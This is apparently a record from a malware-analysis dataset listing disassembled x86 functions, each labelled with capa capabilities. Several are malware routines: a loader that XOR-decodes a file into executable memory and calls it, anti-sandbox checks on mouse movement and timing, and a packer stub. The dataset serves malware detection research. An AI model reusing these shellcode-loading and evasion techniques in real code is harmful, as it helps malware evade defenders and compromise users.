joyce8/EMBER2024-capa huggingface dataset:
Function at 0x470400
Capabilities:
Get hostname

Disassembly:
sub esp, 0x818
mov eax, dword [0x474008]
xor eax, esp
mov dword [esp + 0x814], eax
mov eax, dword [esp + 0x81c]
push edi
xor edi, edi
cmp dword [esp + 0x824], edi
mov dword [esp + 0xc], eax
jle 0x4704f0
push ebx
mov ebx, dword [esp + 0x10]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
push esi
lea esp, [esp]
lea esi, [esp + 0x1c]
mov dword [esp + 0x14], 5
mov dword [esp + 0x1c], 0
call fcn.004703f0
mov eax, dword [esp + 0x1c]
add eax, 0x46
mov dword [esp + 0x14], eax
nop
sub dword [esp + 0x14], 0x46
mov ecx, dword [esp + 0x18]
movsx edx, byte [ecx + edi]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 0x14]
xor dword [esp + 0x10], eax
mov esi, dword [esp + 0x830]
mov al, byte [esp + 0x10]
mov byte [ecx + edi], al
cmp esi, 0xf
jne 0x4704e4
push 0
push 0
call ebp
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push str.razigo
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea eax, [esp + 0x428]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push ebx
push str.gecucufemesixihor
push 0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
inc edi
cmp edi, esi
jl 0x470440
pop esi
pop ebp
pop ebx
cmp dword [esp + 0x824], 0x2d
pop edi
jne 0x47050f
mov dword [0x2ab0ad0], 0xa62e7790
mov dword [0x2ab0ad4], 0xffffffff
mov ecx, dword [esp + 0x814]
xor ecx, esp
call fcn.00401000
add esp, 0x818
ret

Function at 0x470530
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x804
mov eax, dword [0x474008]
xor eax, esp
mov dword [esp + 0x800], eax
mov eax, dword [0x474fe0]
push esi
mov esi, dword [0x2ab099c]
push edi
mov edi, dword [0x2ab07e4]
push eax
call fcn.00470390
add esp, 4
cmp dword [0x2ab099c], 0x2f
jne 0x47056f
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push esi
push edi
call fcn.00470400
add esp, 8
cmp dword [0x2ab099c], 0x568
pop edi
pop esi
jne 0x4705a8
push 0
push 0
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea edx, [esp + 0x404]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov ecx, dword [esp + 0x800]
xor ecx, esp
call fcn.00401000
add esp, 0x804
ret
Function at 0x401490
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x4014eb
cmp byte [esi + ebx - 1], 0xa
je 0x4014bf
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x404084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x401b10
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call dbg.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x401cd8
mov edi, dword [0x404084]
xor eax, eax
mov edx, dword fs:[0x18]
cmp dword [edx + 0x24], edi
je 0x401bf8
test byte [0x402018], 8
jne 0x401c80
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x402028], 8
jne 0x401c48
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x401b9a
cmp esi, 3
jbe 0x401c00
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x401bab
mov esi, edx
mov dword [esp + 0xc], edi
shr esi, 0x10
test edx, 0x8080
mov dword [esp + 4], 1
cmove edx, esi
lea esi, [ecx + 2]
mov dword [esp], ebx
cmove ecx, esi
mov eax, edx
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x4030e4]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.0
jmp 0x401b9a
mov dword [esp], 0x402028
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x401b71
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x401b71
mov dword [esp], 0x402018
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x401b5e
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
lea ebx, [esp + 0x28]
mov dword [esp + 4], str._3u._03u:
mov ecx, eax
mul edx
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x401b64
mov eax, 0xffffffff
jmp 0x401bf8

Function at 0x401d50
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
add eax, 1
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call dbg.wmain
mov dword [esp], eax
call sym._exit
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10

Function at 0x401000
Capabilities:
Allocate or change rwx memory
Check for foreground window switch
Check for time delay via gettickcount
Check for unmoving mouse cursor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x403008]
cmp eax, 0
jne 0x401021
mov eax, dword [0x40300c]
cmp eax, 0
jne 0x401021
jmp 0x4010b6
call sub.KERNEL32.dll_GetTickCount
mov dword [ebp - 4], eax
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401021
mov dword [ebp - 0x14], eax
call sub.KERNEL32.dll_GetTickCount
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jl 0x401021
lea eax, [ebp - 8]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401021
mov eax, dword [0x403008]
cmp eax, 0
je 0x401093
push 0x3e8
call sub.KERNEL32.dll_Sleep
lea eax, [ebp - 0x10]
push eax
call sub.USER32.dll_GetCursorPos
cmp eax, 0
je 0x401067
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
cmp eax, ebx
je 0x401021
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x10]
cmp eax, ebx
je 0x401067
mov eax, dword [0x40300c]
cmp eax, 0
je 0x4010b6
push 0x1388
call sub.KERNEL32.dll_Sleep
call sub.USER32.dll_GetForegroundWindow
cmp eax, 0
je 0x401093
cmp eax, dword [ebp - 0x14]
je 0x401093
push dword [0x403000]
mov eax, 0x40301a
mov ebx, 0x40322a
sub ebx, eax
push ebx
push 0x40301a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push 0x40
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
push dword [0x403004]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call fcn.00402bce
lea eax, [ebp - 4]
push eax
push dword [eax]
mov eax, 0x40112a
mov ebx, fcn.00402bce
sub ebx, eax
push ebx
push 0x40112a
call sub.KERNEL32.dll_VirtualProtect
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
inc esp
cmp al, 0x2d
int 0
add byte [esp + ecx - 0x43ffff30], bh
invalid
Function at 0x10010d40
Capabilities:
Query environment variable

Disassembly:
push ebp
push esi
push edi
push 0x104
call fcn.10010bf0
mov ebp, dword [esp + 0x18]
add esp, 4
mov edi, eax
push 0x104
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, 0x104
jbe 0x10010d97
push ebx
push edi
call fcn.10010c90
push esi
mov ebx, esi
call fcn.10010bf0
add esp, 8
mov edi, eax
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov esi, eax
cmp esi, ebx
ja 0x10010d6e
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret
mov eax, edi
pop edi
pop esi
pop ebp
ret
Function at 0x41f5b0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.7eM1
lea edi, [esi - 0x13000]
push edi
or ebp, 0xffffffff
jmp 0x41f5d2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x41f5d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x41f5c8
mov eax, 1
add ebx, ebx
jne 0x41f5eb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x41f5e0
jne 0x41f5fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41f5e0
xor ecx, ecx
sub eax, 3
jb 0x41f610
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x41f682
mov ebp, eax
add ebx, ebx
jne 0x41f61b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x41f628
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41f64c
inc ecx
add ebx, ebx
jne 0x41f638
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41f62d
jne 0x41f649
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41f62d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41f66c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41f65d
jmp 0x41f5ce
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41f66c
add edi, ecx
jmp 0x41f5ce
pop esi
mov edi, esi
mov ecx, 0x5bc
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41f68a
cmp byte [edi], 7
jne 0x41f68a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41f68f
lea edi, [esi + 0x1d000]
mov eax, dword [edi]
or eax, eax
je 0x41f6fe
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f1b8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f208]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x41f6bc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f210]
or eax, eax
je 0x41f6f8
mov dword [ebx], eax
add ebx, 4
jmp 0x41f6d9
call dword [esi + 0x1f20c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41f72f
cmp al, 0xef
ja 0x41f722
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x41f704
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x41f711
mov ebp, dword [esi + 0x1f214]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x41f763
sub esp, 0xffffff80
jmp 0x4041f6
Function at 0x402399
Capabilities:
Check if file exists

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x405014]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [ebp + 8]
mov edx, 0x104
push ebx
push esi
push edi
push ecx
push ecx
xor edi, edi
mov dword [esp + 0x1c], eax
push ecx
lea ecx, [esp + 0x24]
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.004017ea
push 0x4012d8
lea ecx, [esp + 0x1c]
call fcn.00401751
lea eax, [esp + 0x18]
push eax
push edi
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov esi, eax
test esi, esi
jne 0x40241d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x402453
mov ecx, dword [ebp + 4]
mov edx, 0xc8
push 0x401290
call fcn.00402135
mov edi, eax
jmp 0x402453
lea edx, [esp + 0x10]
mov dword [esp + 0x10], edi
mov ecx, esi
call fcn.0040227e
mov ebx, eax
test ebx, ebx
jns 0x402445
push ebx
push ecx
mov ecx, dword [ebp + 4]
mov edx, 0xce
call fcn.00402116
mov edi, ebx
jmp 0x402453
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cdq
mov dword [ecx], eax
mov dword [ecx + 4], edx
test esi, esi
je 0x40245d
push esi
call fcn.00402191
mov ecx, dword [esp + 0x224]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00403940
mov esp, ebp
pop ebp
ret 8
Function at 0x40329b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x405014]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov ebx, edx
mov esi, ecx
push edi
xor edi, edi
push esi
mov dword [ebx], edi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
je 0x403306
push 0x8001
call dword [sym.imp.ntdll.dll_RtlSetSearchPathMode]
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x214]
push eax
push 0x104
push edi
push esi
push edi
call dword [sym.imp.api_ms_win_core_processenvironment_l1_1_0.dll_SearchPathW]
test eax, eax
jne 0x40331d
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403940
mov esp, ebp
pop ebp
ret 4
push ecx
push esi
push ecx
mov edx, 0x104
lea ecx, [ebp - 0x214]
call fcn.004017ea
test eax, eax
js 0x4032f1
lea eax, [ebp - 0x214]
mov dword [ebp - 0x230], edi
mov edi, eax
mov dword [ebp - 0x234], 0x20
or esi, 0xffffffff
mov dword [ebp - 0x22c], eax
xor edx, edx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
cmp ax, dx
jne 0x403343
sub edi, ecx
lea ecx, [ebp - 0x214]
push 0x401360
sar edi, 1
call fcn.00401751
test eax, eax
js 0x403387
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403387
lea eax, [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov esi, eax
add edi, edi
cmp edi, 0x208
jae 0x403416
xor eax, eax
mov word [ebp + edi - 0x214], ax
or edi, 0xffffffff
cmp esi, edi
jne 0x403407
lea eax, [ebp - 0x234]
mov dword [ebp - 0x230], 8
push eax
mov dword [ebp - 0x220], 0x7b
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov esi, eax
cmp esi, edi
jne 0x403407
lea eax, [ebp - 0x234]
mov dword [ebp - 0x220], 0x7c
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov esi, eax
cmp esi, edi
jne 0x40340f
lea eax, [ebp - 0x234]
mov dword [ebp - 0x220], 2
push eax
call dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov esi, eax
cmp esi, edi
je 0x40340f
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
mov eax, esi
jmp 0x4032f3
call fcn.00403a8a
int3
Function at 0x403930
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x4040b8
call fcn.00403f18
xor ebx, ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x405464
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x403765
cmp eax, esi
jne 0x403758
xor esi, esi
inc esi
mov edi, esi
jmp 0x403768
push 0x3e8
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x40373c
xor esi, esi
inc esi
cmp dword [0x405468], esi
jne 0x40377a
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x4037b4
cmp dword [0x405468], ebx
jne 0x4037ae
mov dword [0x405468], esi
push 0x4010d0
push 0x4010c4
call fcn.004038e4
pop ecx
pop ecx
test eax, eax
je 0x4037b4
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4038de
mov dword [0x405034], esi
cmp dword [0x405468], esi
jne 0x4037d7
push 0x4010c0
push 0x4010a8
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x405468], 2
test edi, edi
jne 0x4037e4
xor eax, eax
mov ecx, 0x405464
xchg dword [ecx], eax
cmp dword [0x405474], 0
je 0x403810
push 0x405474
call fcn.00403d70
pop ecx
test eax, eax
je 0x403810
push ebx
push 2
push ebx
mov esi, dword [0x405474]
mov ecx, esi
call dword [0x406184]
call esi
mov eax, dword [sym.imp.msvcrt.dll__wcmdln]
mov ecx, dword [eax]
test ecx, ecx
je 0x40379d
mov dword [ebp - 0x24], ecx
push 0x20
pop esi
mov edx, dword [ebp - 0x20]
movzx eax, word [ecx]
cmp ax, si
ja 0x40387b
test ax, ax
je 0x40384a
test edx, edx
jne 0x40387b
test ax, ax
je 0x40384a
cmp ax, si
ja 0x40384a
add ecx, 2
mov dword [ebp - 0x24], ecx
movzx eax, word [ecx]
jmp 0x403835
test byte [ebp - 0x40], 1
je 0x403856
movzx eax, word [ebp - 0x3c]
jmp 0x403859
push 0xa
pop eax
push eax
push ecx
push ebx
push 0x400000
call main
mov dword [0x405030], eax
cmp dword [0x405048], 0
jne 0x4038c3
push eax
call dword [sym.imp.msvcrt.dll_exit]
cmp eax, 0x22
jne 0x40388c
xor eax, eax
test edx, edx
sete al
mov edx, eax
mov dword [ebp - 0x20], edx
add ecx, 2
mov dword [ebp - 0x24], ecx
jmp 0x403824
cmp dword [0x405034], 0
jne 0x4038d7
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x405030]
mov dword [ebp - 4], 0xfffffffe
call fcn.00403f60
ret
call fcn.00403e63
jmp 0x403713

Function at 0x403c64
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x4040f8
call fcn.00403fb4
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x403cc4
cmp eax, 0xffffffff
je 0x403cc4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x403cbd
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x403cbd
cmp edx, 0x10000000
jae 0x403cbd
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x403cba
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.00403ff9
ret 4
Function at 0x403d20
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x403d5e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x403d56
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x403d60
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x403d46
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x403e30
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x403e46
xor eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x403e61
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
Function at 0x4013b0
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x44a6a4], 0
push esi
push edi
mov edi, edx
mov esi, ecx
je 0x401403
mov edx, dword [0x4498d4]
mov ecx, dword [0x4498d8]
lea eax, [edx + edi]
cmp eax, ecx
jl 0x4013da
mov edi, ecx
sub edi, edx
test edi, edi
jle 0x40146b
mov ecx, dword [0x4498d0]
push edi
add ecx, edx
push ecx
push esi
call fcn.00419260
add esp, 0xc
mov eax, edi
add dword [0x4498d4], edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push dword [ebp + 8]
push edi
push 1
push esi
call fcn.0041c823
add esp, 0x10
mov edi, eax
cmp dword [0x44a4f8], 0
je 0x40146b
test edi, edi
jle 0x40146b
mov ecx, dword [0x44a608]
mov edx, edi
mov eax, dword [0x44a6a8]
push ebx
mov ebx, dword [0x44a690]
add ebx, dword [0x44a4fc]
add eax, ecx
mov cl, byte [0x44a6a0]
movzx eax, al
mov dword [ebp - 4], eax
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
xor al, bl
sub al, byte [ebp - 4]
add cl, al
mov byte [esi - 1], cl
sub edx, 1
jne 0x401450
mov byte [0x44a6a0], cl
pop ebx
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401760
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, edi
call fcn.00401240
mov ebx, dword [ebp + 0x14]
xor esi, esi
test ebx, ebx
cmovns esi, ebx
cmp dword [0x44a6a4], 0
je 0x4017c4
mov ecx, edi
call fcn.00401350
mov edx, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
push 0
mov dword [0x4498d4], esi
call fcn.004013b0
add esp, 4
mov esi, eax
cmp dword [0x44a6a4], 0
jne 0x401881
push dword [0x44a60c]
call fcn.00419e84
add esp, 4
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
cmp dword [0x44a69c], 0
je 0x40183c
mov ecx, edi
call fcn.004010a0
test eax, eax
jne 0x40183c
push dword [0x44a60c]
mov ebx, dword [0x44a698]
call fcn.00419e84
push 0x43fc70
push 0x44a500
call fcn.00419df7
mov edi, eax
add esp, 0xc
test edi, edi
je 0x401850
mov ecx, dword [0x44a604]
add ecx, esi
add ecx, dword [0x44a694]
push 0
push ecx
push edi
call fcn.0041a1be
cmp dword [ebp + 0x10], ebx
mov ecx, dword [ebp + 0xc]
cmovl ebx, dword [ebp + 0x10]
push edi
mov edx, ebx
call fcn.004013b0
push edi
mov esi, eax
call fcn.00419e84
add esp, 0x14
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
ret
push 0x43fc70
push edi
call fcn.00419df7
mov edi, eax
add esp, 8
test edi, edi
jne 0x401858
pop edi
pop esi
or eax, 0xffffffff
pop ebx
pop ebp
ret
test ebx, ebx
js 0x401868
push 0
push esi
push edi
call fcn.0041a1be
add esp, 0xc
push edi
push dword [ebp + 0x10]
push 1
push dword [ebp + 0xc]
call fcn.0041c823
push edi
mov esi, eax
call fcn.00419e84
add esp, 0x14
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret